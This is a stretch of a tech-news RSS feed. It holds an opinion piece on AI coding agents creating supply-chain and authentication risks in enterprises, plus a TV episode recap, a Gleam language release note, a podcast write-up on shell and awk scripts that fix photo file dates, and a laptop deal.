It all starts with a “pilot,” a “prototype,” or a “side project.” Maybe s...]]></description>
<link>https://tsecurity.de/de/3702093/ai-nachrichten/three-ai-security-mistakes-that-will-haunt-enterprises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702093/ai-nachrichten/three-ai-security-mistakes-that-will-haunt-enterprises/</guid>
<pubDate>Tue, 04 Aug 2026 04:13:14 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">There is a lot of talk about the coming enterprise AI reality, in which AI finally arrives in production systems. You might not know it, but this reality—or nightmare, depending on how you handle it—is already happening.</p>



<p class="wp-block-paragraph">It all starts with a “pilot,” a “prototype,” or a “side project.” Maybe someone builds an internal dashboard with an agent. The dashboard quickly becomes indispensable, and all of a sudden the experiment becomes production. Along the way, no one thought to ask the boring, inconvenient questions: What exactly was pulled from npm, PyPI, or Docker Hub? How is (or was) authentication configured? Is anyone watching for supply chain attacks against the tools and libraries the agents chose?</p>



<p class="wp-block-paragraph">And it’s not just a one-off project here or a couple of applications there. AI is enabling organizations to generate more code and ship more products and projects, more quickly, than ever before. By the time security teams get a look, the business is hooked and there’s no turning back. An actual nightmare has begun.</p>



<p class="wp-block-paragraph">There are three major problems that make the nightmare real. </p>



<h2 class="wp-block-heading">Components you never explicitly chose</h2>



<p class="wp-block-paragraph">When you ask an AI agent to build an app, it doesn’t just spit out a single script. It quietly assembles an entire ecosystem around whatever problem you’ve described to it. It pulls in a web framework, grabs a bunch of libraries, stands up databases, and then it potentially builds everything on dependencies in container images.</p>



<p class="wp-block-paragraph">From a productivity perspective, this is awesome. However, from a security standpoint, it’s worrisome, to say the least. When I’ve built apps like this myself, I couldn’t begin to tell you all of the components that were being used unless I went back and asked the agent to explain itself.</p>



<p class="wp-block-paragraph">We live in a world where anyone can publish to npm or PyPI, and we’ve seen attackers slip malicious packages into those ecosystems or compromise ones that are widely used. Some of the recent incidents have involved security and devops tools themselves pulling a compromised dependency, running it as part of CI/CD with elevated privileges, and quietly exfiltrating secrets or tampering with builds. I personally experienced this type of compromise a couple of months ago, and had to update all of my credentials in GitHub.</p>



<p class="wp-block-paragraph">Pulling unvetted code is bad; now layer AI agents on top of that. They default to whatever is easiest to discover and integrate. If a package solves a problem in front of the agent, the agent will add it. This is the old “download a random library from the Internet” problem, but now it’s on autopilot, at scale, and moving at a pace we’ve never seen before.</p>



<p class="wp-block-paragraph">To solve this problem, we must provide the agents with an innate sense of our risk tolerance, an approved components list, our desires around logging, etc. We can do this with spec files and what the industry calls constitutions. Collectively, this is called harness engineering, which we will talk more about later.</p>



<h2 class="wp-block-heading">Skills shifting from code to architecture</h2>



<p class="wp-block-paragraph">There has been a lot of hand-wringing about <a href="https://www.infoworld.com/article/4065771/why-we-need-junior-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4065771/why-we-need-junior-developers.html">whether junior developers</a> will ever <a href="https://www.infoworld.com/article/4152683/what-next-for-junior-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4152683/what-next-for-junior-developers.html">really learn to code</a> if AI is doing all of their coding for them.</p>



<p class="wp-block-paragraph">That’s not what worries me.</p>



<p class="wp-block-paragraph">I think it’s fine to let an agent spit out code. It’s a job they are really good at. What they are not really good at is identifying and avoiding problems in code.</p>



<p class="wp-block-paragraph">I haven’t written code in quite some time. I can, but it doesn’t make sense for me to do so. What is worth my while is noticing when an agent suggests something dumb or even dangerous (or both).</p>



<p class="wp-block-paragraph">For example, while working on a recent personal project, an agent proposed exposing a memory server on the public Internet with no authentication. The agent wired things up so smoothly that, at first glance, everything looked fine and just worked. But then I paused and asked, “Wait, how is this actually authenticating? Where’s the password, secret token, or OAuth in this flow?” Turns out it wasn’t authenticating and there was no password. If I hadn’t taken that beat—and then argued with the agent for a while—the app would have gone live with no protection.</p>



<p class="wp-block-paragraph">So, the skills issue isn’t about whether we will lose the ability to code but rather whether we have the ability to ask questions and be discerning, and whether we have the understanding to know when something doesn’t look or even feel right. Do organizations have people who know what a dangerous software pattern looks like when the agent suggests it? You need people who can recognize when an authentication flow is too permissive, when a data store should never be exposed beyond a certain boundary, and when an architecture has become such a steaming pile of technical debt that the right answer is to throw away a whole layer and rebuild it.</p>



<p class="wp-block-paragraph">You need people who know that “what works” isn’t the same as “what’s safe” or “what’s right” and who can argue back with the agent when the former doesn’t line up with the latter.</p>



<p class="wp-block-paragraph">It’s not about syntax. It’s about architecture, supply chain awareness, and the willingness to say, “We’re tearing this down and doing it right,” even when the prototype looks good on the surface. Teach your AI-assisted coders basic security principles, basic architectural patterns. The AI will teach them the more advanced stuff, as long as they keep asking questions.</p>



<h2 class="wp-block-heading">Agents with no harness</h2>



<p class="wp-block-paragraph">The third problem is that we’ve unleashed some very capable agents into our development workflows without treating them like first-class actors that need governance.</p>



<p class="wp-block-paragraph">Many organizations are wiring AI assistants into a repo or IDE and letting them scaffold projects and pipelines. Maybe they bolt on a security scanner and declare “AI enablement.” That’s not a governance model, that’s optimism (and not even cautious optimism).</p>



<p class="wp-block-paragraph">Indeed, a code-generating agent with broad access to your repos, your CI/CD pipeline, and your artifact registries is effectively a hyper-productive and not-very-well-trained junior developer with access to the Internet and no ingrained sense of organizational policies. It can introduce new tools, new dependencies, and new patterns faster than your review processes can handle.</p>



<p class="wp-block-paragraph">In my personal projects, I’ve started to think of this as what AI coders call a harness-engineering problem. For every agent that’s responsible for building or wiring code, I try to put other agents in the loop that are responsible for tearing it down, at least conceptually. For example, one agent focuses on security and looks for obvious vulnerabilities and bad practices. Another looks at architecture and points out when the app design is veering into unmaintainable territory. A third looks at performance and reliability issues, which are themselves a kind of security concern when you think about things like denial of service and resource exhaustion. Pair this with constitutions that give the agents first principles on architecture, security, and design, and this is no longer vibe coding, it’s harness engineering at scale for all of your projects.</p>



<p class="wp-block-paragraph">What I am doing isn’t perfect; there is no perfect in this space, because these are non-deterministic, statistical tools. But, many organizations aren’t even doing this. In effect, their agents are freelancing. They’re vibe coding. They’re not constrained to trusted registries or hardened base images. They’re not required to log their decisions in a way that security can audit. No one owns the harness, and that means a lot of implementation decisions have fully shifted from humans to systems that no one is really watching.</p>



<h2 class="wp-block-heading">New problems require new thinking</h2>



<p class="wp-block-paragraph">The enterprise AI nightmare is not a killer robot; it’s the erosion of our ability to see and control what’s running in our own environments at the exact moment our velocity is exploding. The danger is in ceding your agency. It’s in shipping applications that internal and external customers love—and don’t want to give up—but inherently aren’t safe. Right now, someone in your organization is using AI to build a capable app, pulling in who knows what from who knows where and adding it to your infrastructure.</p>



<p class="wp-block-paragraph">The good news is that these problems are identifiable. They are also solvable, although it will take a new form of thinking than what solved problems in the past. You must think statistically, and declare constitutions with first principles. You can standardize trusted stacks and registries. You can retrain people around architectural security rather than just “secure coding.” You can start treating agent harnesses as systems that deserve design reviews and edits.</p>



<p class="wp-block-paragraph">But, none of that can happen until the enterprise is willing to admit that the nightmare is already here.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Is Dead City Season 3 Turning Negan Into a Villain Again?]]></title>
<description><![CDATA[The Walking Dead: Dead City Season 3 has quickly raised questions about Negan’s future, especially after he killed the Dama despite Maggie choosing to keep her alive. The decision looks like a return to his old habits, but his reasons suggest a more complicated change.




Premiere date: July 26,...]]></description>
<link>https://tsecurity.de/de/3702077/ios-mac-os/is-dead-city-season-3-turning-negan-into-a-villain-again/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702077/ios-mac-os/is-dead-city-season-3-turning-negan-into-a-villain-again/</guid>
<pubDate>Tue, 04 Aug 2026 04:06:33 +0200</pubDate>
<content:encoded><![CDATA[The Walking Dead: Dead City Season 3 has quickly raised questions about Negan’s future, especially after he killed the Dama despite Maggie choosing to keep her alive. The decision looks like a return to his old habits, but his reasons suggest a more complicated change.




Premiere date: July 26, 2026



New episodes: Sundays on AMC and AMC+



Season length: Eight episodes



Finale date: September 13, 2026



Genre: Post-apocalyptic horror drama



Main cast: Lauren Cohan as Maggie and Jeffrey Dean Morgan as Negan




Season 3 follows Maggie and Negan as they attempt to build a stable community in Manhattan, even as new conflicts threaten their uneasy partnership. The season also introduces new regular cast members, including Jimmi Simpson, Aimee Garcia, and Raúl Castillo.



Spoilers for Dead City Season 3, Episode 2



Episode 2, titled “Haven,” places Negan at the centre of another brutal death. Maggie captures the Dama and decides to imprison her, showing that she wants their new settlement to follow rules rather than personal revenge.



Negan ignores that decision and kills the Dama himself.



His actions immediately create tension because Maggie had already made her position clear. Negan does not simply kill an active attacker during a fight. He executes a prisoner after the immediate threat has passed, which closely resembles the controlling and violent leader viewers met during the original series.



However, the Dama had tortured Hershel and removed one of his toes. Negan also distrusts Renata’s leadership and believes Maggie should take control of Manhattan. His decision appears to come from revenge, concern for Maggie’s family, and his belief that dangerous enemies cannot be allowed to survive.



Is Negan returning to his old ways?



Negan has spent years trying to prove that he understands the damage he caused. During the final seasons of The Walking Dead, he protected Judith, helped defeat the Whisperers, apologised to Maggie, and accepted that she might never forgive him for killing Glenn.



Dead City continued that growth by showing his guilt over Ginny’s father and his willingness to protect people without demanding loyalty in return. He remained violent, but the series usually presented that violence as a last resort.



Killing the Dama changes that pattern. Negan enjoys taking control of the situation and refuses to respect Maggie’s judgment. That behaviour reflects the former Savior leader who believed only he could decide who deserved punishment.



Still, the episode does not completely erase his development. The old Negan killed people to create fear and maintain authority. Season 3 Negan kills the Dama because he believes she will remain a threat and because of what she did to Hershel.



The distinction matters, although it does not excuse his actions.



Negan’s growth could face its biggest test



Season 3 appears ready to examine whether Negan can remain a better man when violence once again gives him influence. His decision may also force Maggie to consider whether she can build a community alongside someone who repeatedly places his own judgment above everyone else’s.



Negan’s character growth has never followed a straight path, and “Haven” shows that his darker instincts remain close to the surface. The real answer will depend on whether he accepts responsibility for killing the Dama or begins using protection as an excuse to regain control.



Do you think Dead City Season 3 is undoing Negan’s redemption, or does killing the Dama fit the person he has become? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Gleam update shines on language server]]></title>
<description><![CDATA[Gleam, a type-safe and scalable language for the Erlang virtual machine and JavaScript runtimes, has reached version 1.18.0. The update brings full support for record fields to the Gleam language server, along with other improvements.



Gleam 1.18.0 was released July 29. Gleam is billed as “a fr...]]></description>
<link>https://tsecurity.de/de/3702067/ai-nachrichten/gleam-update-shines-on-language-server/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702067/ai-nachrichten/gleam-update-shines-on-language-server/</guid>
<pubDate>Tue, 04 Aug 2026 03:00:42 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Gleam, a type-safe and scalable language for the Erlang virtual machine and <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> runtimes, has reached <a href="https://github.com/gleam-lang/gleam/releases/tag/v1.18.0">version 1.18.0</a>. The update brings full support for record fields to the Gleam language server, along with other improvements.</p>



<p class="wp-block-paragraph">Gleam 1.18.0 was released <a href="https://gleam.run/news/a-field-day-for-gleams-language-server/">July 29</a>. Gleam is billed as “a friendly language for building type-safe systems that scale.” </p>



<p class="wp-block-paragraph">Gleam 1.18.0 brings three improvements to the Gleam language server. First and foremost, the language server now supports go-to-definition, find-references, and rename for record fields, said Gleam creator Louis Pilfold. These work on the field declaration, labelled arguments, labelled patterns, on record updates, and on <code>record.field</code> accesses, both within a module and across modules. </p>



<p class="wp-block-paragraph">Second and third, the language server now permits renaming type variables in types, functions, and constants, and adds support for renaming modules. Now when the text editor tells the language server that a Gleam file has been renamed, it will find uses of that module and update them for a new name, Pilford said.</p>



<p class="wp-block-paragraph">Other improvements in Gleam 1.18.0:</p>



<ul class="wp-block-list">
<li>The language server’s “pattern match on value” code action now can be triggered on function calls and their returned values.</li>



<li>When targeting JavaScript, Gleam’s compiler now will identify data structures where all instances are equivalent, and will use a single value for each use instead of constructing a new instance each time. Testing has shown this has an impactful improvement to performance, Pilford said. </li>



<li>Gleam’s build tool now supports an optional <code>path</code> field for Git dependencies to specify a subdirectory within the repository.adding dependencies from git repositories. Previously, the build tool didn’t let users specify a path within the Git repository.</li>



<li>The language server now offers a code action to generate a missing type definition when an unknown type is referenced. </li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4697: Correcting the Dates of Files]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


I recently had an experience where UNIX tools proved very useful. A relative had an old mobile phone running Android that stopped connecting to the carrier's network and bought a new one to replace it. I took on the job of trying to copy their fi...]]></description>
<link>https://tsecurity.de/de/3701999/podcasts/hpr4697-correcting-the-dates-of-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701999/podcasts/hpr4697-correcting-the-dates-of-files/</guid>
<pubDate>Tue, 04 Aug 2026 02:27:02 +0200</pubDate>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
I recently had an experience where UNIX tools proved very useful. A relative had an old mobile phone running Android that stopped connecting to the carrier's network and bought a new one to replace it. I took on the job of trying to copy their files (consisting of just photos and videos) off of the old phone.</p>

<p>
Google's software was desperate to convince me to upload everything to the cloud, but I wasn't interested. It offered the option of copying the files over to an SD card, but failed on repeated attempts to do that. The option I tried next was to transfer them to another device via Bluetooth—that one did actually work, although it was slow and would only handle sending about 100 files at a time.</p>

<p>
They came over to my laptop OK, but the problem with that method was that all of the file times were set to the time when they were transferred. I'm not super familiar with how mobile apps manage metadata, but would presume that they look to file times for organizing photos by date. Fortunately, the <em>
names</em>
 of each of the files included the date and time they were created. I recognized that I could write a bit of shell script to parse the filenames and set the file times accordingly.</p>

<p>
While there were over 800 files, the good news is that there were only three different categories of filenames, so the logic to extract the information needed was relatively simple. Each file had eight numerical digits representing the date and six digits representing the time. It would definitely be an option to come up with a more sophisticated parser that could handle a wide variety of filenames, but I went the lazy way and just handled those three cases. Another nice aspect was that none of the filenames contained spaces, which allowed me to be a bit less careful when using them in command lines. I didn't need to worry about time zones because my laptop was set to the same time zone as the phone—also, if a time was off a by a few hours it wouldn't make a practical difference.</p>

<p>

<em>
Examples of the three different types of filenames I had to deal with, labeled with the relevant values: YYYY=year, MM=month, DD=day, hh=hour, mm=minute, and SS=second.</em>

</p>

<pre data-language="plain">
00001IMG_00001_BURST20250525140124.jpg
                    YYYYMMDDhhmmSS

IMG_20220223_124023.jpg
VID_20221017_095024.mp4
    YYYYMMDD hhmmSS

20191224_195939.jpg
20161021_122620-1.jpg
20191130_134317_Burst01.jpg
20200129_223612_010.jpg
YYYYMMDD hhmmSS
</pre>

<p>
I considered <code>
awk</code>
 as an option (see <a href="https://hackerpublicradio.org/eps/hpr4657/index.html#comment_4766" rel="noopener noreferrer" target="_blank">
Whiskeyjack's comment on HPR episode 4657</a>
), but realized it has no built-in way to change file times, so I set it aside. Don't worry, I <em>
will</em>
 come back to that later.</p>

<p>
My approach was to use an <code>
if-then</code>
 shell construct to choose how to treat the three categories of filenames. For the <code>
if</code>
 condition, I fed the filename into the <code>
grep -q</code>
 command with an appropriate regular expression to test whether it matches. The <code>
-q</code>
 option to <code>
grep</code>
 causes it not to output anything—it returns a zero exit status if there's a match and a status greater than zero if there isn't. Then, there is an <code>
elif</code>
 statement with another <code>
grep -q</code>
 test for the second category of filenames. Finally, an <code>
else</code>
 statement is followed by the command to run for all other filenames. The whole thing is wrapped in a <code>
for</code>
 loop that runs over all the files in the current directory.</p>

<p>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/touch.html" rel="noopener noreferrer" target="_blank">
The </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/touch.html" rel="noopener noreferrer" target="_blank">
touch</a>

</code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/touch.html" rel="noopener noreferrer" target="_blank">
 command</a>
, when used with the <code>
-t</code>
 option, can be given a string consisting of the year, month, day, hour, minute, and second. These are all numerals that are run together, <em>
except</em>
 that a period sits between the minute and second. So we need a way to extract these numbers and to insert the period.</p>

<p>
That's where <a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/cut.html" rel="noopener noreferrer" target="_blank">
the </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/cut.html" rel="noopener noreferrer" target="_blank">
cut</a>

</code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/cut.html" rel="noopener noreferrer" target="_blank">
 utility</a>
 comes in. It can be given a set of characters to select, and I specified a different set representing the appropriate ones depending on which category a filename fit into. To insert the period, I used <code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sed.html" rel="noopener noreferrer" target="_blank">
sed</a>

</code>
 to replace the last two characters with a period followed by those characters.</p>

<p>

<em>
The first script was to test out that I was getting the correct results.</em>

</p>

<pre data-language="plain">
for fn in *
do
  if echo "$fn" | grep -q BURST
  then
    printf "$fn "
    echo $fn | cut -c '21-34' | sed 's/..$/.&amp;/'
  elif echo "$fn" | grep -q -E '^(IMG_|VID_)'
  then
    printf "$fn "
    echo $fn | cut -c '5-12,14-19' | sed 's/..$/.&amp;/'
  else
    printf "$fn "
    echo $fn | cut -c '1-8,10-15' | sed 's/..$/.&amp;/'
  fi
done
</pre>

<p>

<em>
This one actually sets the file times. The </em>

<code>

<em>
-c</em>

</code>

<em>
 option to </em>

<code>

<em>
touch</em>

</code>

<em>
 prevents it from creating a file if one with that name doesn't already exist.</em>

</p>

<pre data-language="plain">
for fn in *
do
  if echo "$fn" | grep -q BURST
  then
    touch -c -t "$(echo $fn | cut -c '21-34' | sed 's/..$/.&amp;/')" "$fn"
  elif echo "$fn" | grep -q -E '^(IMG_|VID_)'
  then
    touch -c -t "$(echo $fn | cut -c '5-12,14-19' | sed 's/..$/.&amp;/')" "$fn"
  else
    touch -c -t "$(echo $fn | cut -c '1-8,10-15' | sed 's/..$/.&amp;/')" "$fn"
  fi
done
</pre>

<p>
The script ran over all the files in less than 15 seconds and correctly set the file time on each. Job done, right? Well, after I did this, it struck me that there was room for improvement. The script would probably run more quickly if I used <a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_09_04_05" rel="noopener noreferrer" target="_blank">
a </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_09_04_05" rel="noopener noreferrer" target="_blank">
case</a>

</code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_09_04_05" rel="noopener noreferrer" target="_blank">
 construct</a>
 instead of an <code>
if</code>
 construct that called <code>
grep</code>
 multiple times. While the pattern-matching notation used with <code>
case</code>
 is not as flexible and can handle fewer situations than the regular expression syntax available with <code>
grep</code>
, in this case (see what I did there?) it is sufficient. Testing it out, using <code>
case</code>
 reduced the running time by 45%.</p>

<p>

<em>
Replacing </em>

<code>

<em>
if</em>

</code>

<em>
 with </em>

<code>

<em>
case</em>

</code>

<em>
—the commands to be executed for each category of filename can remain exactly the same.</em>

</p>

<pre data-language="plain">
for fn in *
do
  case "$fn" in
  *BURST*)
    printf "$fn "
    echo $fn | cut -c '21-34' | sed 's/..$/.&amp;/'
  ;;
  IMG_*|VID_*)
    printf "$fn "
    echo $fn | cut -c '5-12,14-19' | sed 's/..$/.&amp;/'
  ;;
  *)
    printf "$fn "
    echo $fn | cut -c '1-8,10-15' | sed 's/..$/.&amp;/'
  esac
done

for fn in *
do
  case "$fn" in
  *BURST*)
    touch -c -t "$(echo $fn | cut -c '21-34' | sed 's/..$/.&amp;/')" "$fn"
  ;;
  IMG_*|VID_*)
    touch -c -t "$(echo $fn | cut -c '5-12,14-19' | sed 's/..$/.&amp;/')" "$fn"
  ;;
  *)
    touch -c -t "$(echo $fn | cut -c '1-8,10-15' | sed 's/..$/.&amp;/')" "$fn"
  esac
done
</pre>

<p>
I couldn't completely put <code>
awk</code>
 out of my mind, though, and I eventually came up with an <code>
awk</code>
 script for the same purpose. This is <em>
far</em>
 faster, probably because everything can be done within <code>
awk</code>
 except actually modifying the file times, which is possible using <a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/awk.html#tag_20_06_13_14" rel="noopener noreferrer" target="_blank">
the </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/awk.html#tag_20_06_13_14" rel="noopener noreferrer" target="_blank">
system()</a>

</code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/awk.html#tag_20_06_13_14" rel="noopener noreferrer" target="_blank">
 function</a>
 to call <code>
touch</code>
. I was able to knock 90% off the running time, which for 800 files isn't a big deal but might make a difference if you have hundreds of thousands of files.</p>

<p>

<em>
The </em>

<code>

<em>
awk</em>

</code>

<em>
 counterparts to both scripts above. Unlike those, </em>

<code>

<em>
ls</em>

</code>

<em>
 is used to feed it with the list of filenames. We have the full power of extended regular expressions available to use for matching against the filenames. The </em>

<code>

<em>
next</em>

</code>

<em>
 statement causes </em>

<code>

<em>
awk</em>

</code>

<em>
 to skip any remaining pattern-action pairs and go to the next line of input.</em>

</p>

<pre data-language="plain">
ls | awk '/BURST/ { print $0, substr($0, 21, 12) "." substr($0, 33, 2)
  next }
/^(IMG_|VID_)/ {
  print $0, substr($0, 5, 8) substr($0, 14, 4) "." substr($0, 18, 2)
  next }
{ print $0, substr($0, 1, 8) substr($0, 10, 4) "." substr($0, 14, 2) }'

ls | awk '/BURST/ {
  system("touch -c -t " substr($0, 21, 12) "." substr($0, 33, 2) " " $0)
  next }
/^(IMG_|VID_)/ {
  system("touch -c -t " substr($0, 5, 8) substr($0, 14, 4) "." \
    substr($0, 18, 2) " " $0)
  next }
{ system("touch -c -t " substr($0, 1, 8) substr($0, 10, 4) "." \
    substr($0, 14, 2) " " $0) }'
</pre>

<p>
A further optimization that came to me later was to not call <code>
system()</code>
 from within <code>
awk</code>
, but to instead just have <code>
awk</code>
 print out a set of command lines. These can then be piped to <code>
sh</code>
 to actually be executed. This cut the running time down by 95% compared to my original script.</p>

<p>

<em>
The fastest version I was able to come up with. If you run it without the </em>

<code>

<em>
| sh</em>

</code>

<em>
 on the end, you can check that it's outputting the right information before actually modifying anything. The backslash on the end of a couple lines causes the subsequent line to be treated as a continuation of the existing line. Normally I would just keep everything on one line even if it runs longer than 80 columns, but for display purposes this looks nicer.</em>

</p>

<pre data-language="plain">
ls | awk '/BURST/ {
  print "touch -c -t " substr($0, 21, 12) "." substr($0, 33, 2) " " $0
  next }
/^(IMG_|VID_)/ {
  print "touch -c -t " substr($0, 5, 8) substr($0, 14, 4) "." \
    substr($0, 18, 2) " " $0
  next }
{ print "touch -c -t " substr($0, 1, 8) substr($0, 10, 4) "." \
    substr($0, 14, 2) " " $0 }' | sh
</pre>

<p>
It is probably true that this could have been carried out just as easily on Windows using Microsoft's PowerShell. I'm not very familiar with it, but would imagine (or hope) that it includes commands for managing these basic things like text manipulation and modifying file times. If you are stuck in an environment where you don't have a UNIX-like system available, investigate how to accomplish a task with the tools you do have.</p>

<p>
While I had the necessary information in the filenames to use, that might not be the case in all situations. You could look for other sources of dates—most digital cameras will add EXIF tags to a JPEG file giving the date and time it was created. (Hopefully, the clock in the camera will be set accurately.) While there is no standard UNIX utility to read those tags, free and open source software tools are widely available for that purpose. I found one called <code>
exiftags</code>
 that included the utility <code>
exiftime</code>
, which specifically outputs EXIF data relating to time. The output format was a little trickier to handle, but <code>
awk</code>
 was able to manage it with a little coaxing.</p>

<p>

<em>
Example of output produced by </em>

<code>

<em>
exiftime</em>

</code>

<em>
. Note that the first line with the filename is </em>
only<em>
 printed if more than one filename is given as an argument. Also, for </em>

<code>

<em>
amusing-sign.jpg</em>

</code>

<em>
, apparently I edited that photo after taking it and the editing software updated the "created" tag but left the others intact. Not all images will necessarily have created, generated, and digitized tags; we will just take whichever ones exist. I redirected standard error to </em>

<code>

<em>
/dev/null</em>

</code>

<em>
 to get rid of error messages for files that don't have EXIF tags; we'll handle those below.</em>

</p>

<pre data-language="plain">
$ exiftime *.jpg 2&gt;/dev/null
20260508_154743.jpg:
Image Created: 2026:05:08 15:47:43
Image Generated: 2026:05:08 15:47:43
Image Digitized: 2026:05:08 15:47:43

20260508_155044.jpg:
Image Created: 2026:05:08 15:50:44
Image Generated: 2026:05:08 15:50:44
Image Digitized: 2026:05:08 15:50:44

3704a78e771c2a25a894ef2f0b5a2a629f1eba80.jpg:

amusing-sign.jpg:
Image Created: 2017:01:24 23:14:04
Image Generated: 2017:01:24 21:18:07
Image Digitized: 2017:01:24 21:18:07

dscf3011.jpg:
Image Created: 2015:01:01 00:02:19
Image Generated: 2015:01:01 00:02:19
Image Digitized: 2015:01:01 00:02:19

window-view.jpg:
$ 
</pre>

<p>

<em>
We can take advantage of the fact that different records are separated by a blank line. In </em>

<code>

<em>
awk</em>

</code>

<em>
, when </em>

<code>

<em>
RS</em>

</code>

<em>
 is set to a null string and </em>

<code>

<em>
FS</em>

</code>

<em>
 is set to a newline character, each set of non-blank lines is treated as a record and each line within those sets is treated as a field. One or more blank lines separate each record. For the output of </em>

<code>

<em>
exiftime</em>

</code>

<em>
, this means that </em>

<code>

<em>
$1</em>

</code>

<em>
 will contain the filename and </em>

<code>

<em>
$2</em>

</code>

<em>
 will contain the first line after the filename. For those files without an EXIF date tag, </em>

<code>

<em>
$2</em>

</code>

<em>
 will be a null string, which is treated by </em>

<code>

<em>
awk</em>

</code>

<em>
 as FALSE, so the pattern will not match, the action will not be taken, and nothing will be printed. If a file has multiple tags, I will just use the first one reported by </em>

<code>

<em>
exiftime</em>

</code>

<em>
 (contained in </em>

<code>

<em>
$2</em>

</code>

<em>
). The </em>

<code>

<em>
sub()</em>

</code>

<em>
 function call removes the colon that </em>

<code>

<em>
exiftime</em>

</code>

<em>
 prints after the filename, and the </em>

<code>

<em>
gsub()</em>

</code>

<em>
 function call removes all non-numeric characters from the date and time in the tag. (After a comma within a </em>

<code>

<em>
print</em>

</code>

<em>
 statement, a backslash is not necessary to continue a line.) Also, this time I bothered to print quotation marks around the filename in case it contains spaces.</em>

</p>

<pre data-language="plain">
$ exiftime *.jpg 2&gt;/dev/null | awk 'BEGIN { FS = "\n" ; RS = "" }
$2 { sub(":$", "", $1)
  gsub("[^0-9]", "", $2)
  print "touch -c -t", substr($2, 1, 12) "." substr($2, 13, 2),
    "\"" $1 "\"" }'
touch -c -t 202605081547.43 "20260508_154743.jpg"
touch -c -t 202605081550.44 "20260508_155044.jpg"
touch -c -t 201701242314.04 "amusing-sign.jpg"
touch -c -t 201501010002.19 "dscf3011.jpg"
$ 
</pre>

<p>
I would imagine that there's some photo management program out there that I could have used to accomplish this. But then I would have had to locate it, verify that it wasn't some malware-loaded garbage, download, and install it. And chances are it would want to take over all the photos on my laptop. Instead, with standard UNIX tools and shell capabilities like <code>
if</code>
, <code>
case</code>
, process substitution, and pipelines, I was able to complete the task without having to install anything.</p>

<p>
The techniques I described can be used in different circumstances and with the output of different utilities. My intention was not just to explain how to solve this specific problem, but to hopefully teach you some things that you can apply in many situations. Perhaps if you use them to tackle a challenge of your own, you'll record an episode for HPR to share what you know.</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4697/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[M5 15-inch MacBook Air with 24GB RAM dips to $1,499 after $200 discount]]></title>
<description><![CDATA[Apple deals are selling out fast, with limited quantities available of Apple's 15-inch M5 MacBook Air with 24GB of memory, now $200 off.Save $200 on a popular M5 MacBook Air laptop with 24GB RAM - Image credit: AppleB&H's August MacBook Air sale knocks $200 off a popular 15-inch MacBook Air spec ...]]></description>
<link>https://tsecurity.de/de/3701540/ios-mac-os/m5-15-inch-macbook-air-with-24gb-ram-dips-to-1499-after-200-discount/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701540/ios-mac-os/m5-15-inch-macbook-air-with-24gb-ram-dips-to-1499-after-200-discount/</guid>
<pubDate>Mon, 03 Aug 2026 20:23:07 +0200</pubDate>
<content:encoded><![CDATA[Apple deals are selling out fast, with limited quantities available of Apple's 15-inch M5 MacBook Air with 24GB of memory, now $200 off.<br><br><div><img src="https://media.appleinsider.com/gallery/68441-144220-macbook-air-24gb-ram-200-off-xl.jpg" alt="MacBook Air laptop with colorful blue abstract pattern on screen, overlaid by large bold white text stating 24GB RAM, against a soft multicolored gradient background"><br><span>Save $200 on a popular M5 MacBook Air laptop with 24GB RAM - Image credit: Apple</span></div><br>B&amp;H's August MacBook Air sale <strong><a href="https://www.bhphotovideo.com/c/product/1957261-REG/apple_mba_m5_52_15_macbook_air_m5.html/BI/1717/KBID/2301/SID/da-maca-15in-24gb-1499-080326" rel="nofollow" target="_blank">knocks $200</a></strong> off a popular 15-inch MacBook Air spec featuring Apple's current M5 chip and an upgrade to 24GB of unified memory.<br><br><a href="https://www.bhphotovideo.com/c/product/1957261-REG/apple_mba_m5_52_15_macbook_air_m5.html/BI/1717/KBID/2301/SID/da-maca-15in-24gb-1499-btn-080326" rel="nofollow" class="deal-highlight">Buy 15" MacBook Air 24GB for $1,499</a><br><br><br> <a href="https://appleinsider.com/articles/26/08/03/m5-15-inch-macbook-air-with-24gb-ram-dips-to-1499-after-200-discount?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245146?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
